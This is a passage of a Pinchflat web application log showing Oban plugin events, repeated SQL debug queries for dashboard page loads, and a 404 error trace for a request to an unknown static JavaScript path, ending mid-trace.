{"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:43.667 [info] GET / 01:26:43.667 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:26:43.668 [debug] QUERY OK source="settings" db=0.6ms idle=142.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:26:43.668 [debug] QUERY OK source="media_profiles" db=0.1ms idle=143.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:26:43.669 [debug] QUERY OK source="sources" db=0.2ms idle=143.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:26:43.669 [debug] QUERY OK source="media_items" db=0.2ms idle=143.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:26:43.670 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:26:43.671 [debug] QUERY OK source="settings" db=0.3ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:26:43.671 [debug] QUERY OK source="settings" db=0.2ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:26:43.672 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:26:43.674 [debug] QUERY OK source="tasks" db=0.3ms idle=4.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:26:43.675 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:26:43.676 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:26:43.677 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 3] 01:26:43.681 [debug] QUERY OK source="media_items" db=0.5ms idle=7.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:26:43.682 [debug] QUERY OK source="media_items" db=0.9ms idle=7.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:26:43.683 [info] Sent 200 in 16ms 01:26:59.532 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.162 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:29.534 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:54.481 [info] GET / 01:27:54.481 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:27:54.482 [debug] QUERY OK source="settings" db=0.3ms idle=956.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:27:54.482 [debug] QUERY OK source="media_profiles" db=0.1ms idle=957.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:27:54.483 [debug] QUERY OK source="sources" db=0.1ms idle=957.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:27:54.483 [debug] QUERY OK source="media_items" db=0.3ms idle=958.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:27:54.484 [debug] QUERY OK source="media_items" db=0.1ms idle=676.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:27:54.484 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:27:54.485 [debug] QUERY OK source="settings" db=0.2ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:27:54.485 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:27:54.487 [debug] QUERY OK source="tasks" db=0.5ms idle=3.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:27:54.489 [debug] QUERY OK source="media_items" db=0.4ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:27:54.490 [debug] QUERY OK source="media_items" db=0.7ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:27:54.491 [debug] QUERY OK source="sources" db=0.3ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 3] 01:27:54.495 [debug] QUERY OK source="media_items" db=0.7ms idle=8.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:27:54.496 [debug] QUERY OK source="media_items" db=0.8ms idle=8.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:27:54.497 [info] Sent 200 in 16ms 01:27:59.536 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.163 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:29.538 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:59.540 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.164 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:29.542 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:59.544 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.165 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:29.546 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:59.548 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.166 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:29.549 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:40.570 [info] GET / 01:31:40.570 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:31:40.571 [debug] QUERY OK source="settings" db=0.3ms idle=1045.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:40.571 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=1046.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:31:40.572 [debug] QUERY OK source="sources" db=0.1ms idle=1046.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:31:40.572 [debug] QUERY OK source="media_items" db=0.2ms idle=1047.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:31:40.573 [debug] QUERY OK source="media_items" db=0.2ms idle=301.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:31:40.573 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:40.574 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:40.575 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:40.576 [debug] QUERY OK source="tasks" db=0.3ms idle=3.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:31:40.577 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:31:40.578 [debug] QUERY OK source="media_items" db=0.5ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:31:40.579 [debug] QUERY OK source="sources" db=0.3ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 3] 01:31:40.581 [debug] QUERY OK source="media_items" db=0.1ms idle=6.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:31:40.581 [debug] QUERY OK source="media_items" db=0.1ms idle=4.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:31:40.582 [info] Sent 200 in 11ms 01:31:42.986 [info] GET /static/style/protect/index.js 01:31:42.987 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=710.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:42.988 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=462.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:42.988 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:31:42.988 [error] #PID<0.3881.0> running PinchflatWeb.Endpoint (connection #PID<0.3880.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /static/style/protect/index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/protect/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/protect/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47592}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3881.0>, params: %{}, path_info: ["static", "style", "protect", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/static/style/protect/index.js", resp_body: nil, resp_cookies: %{}, 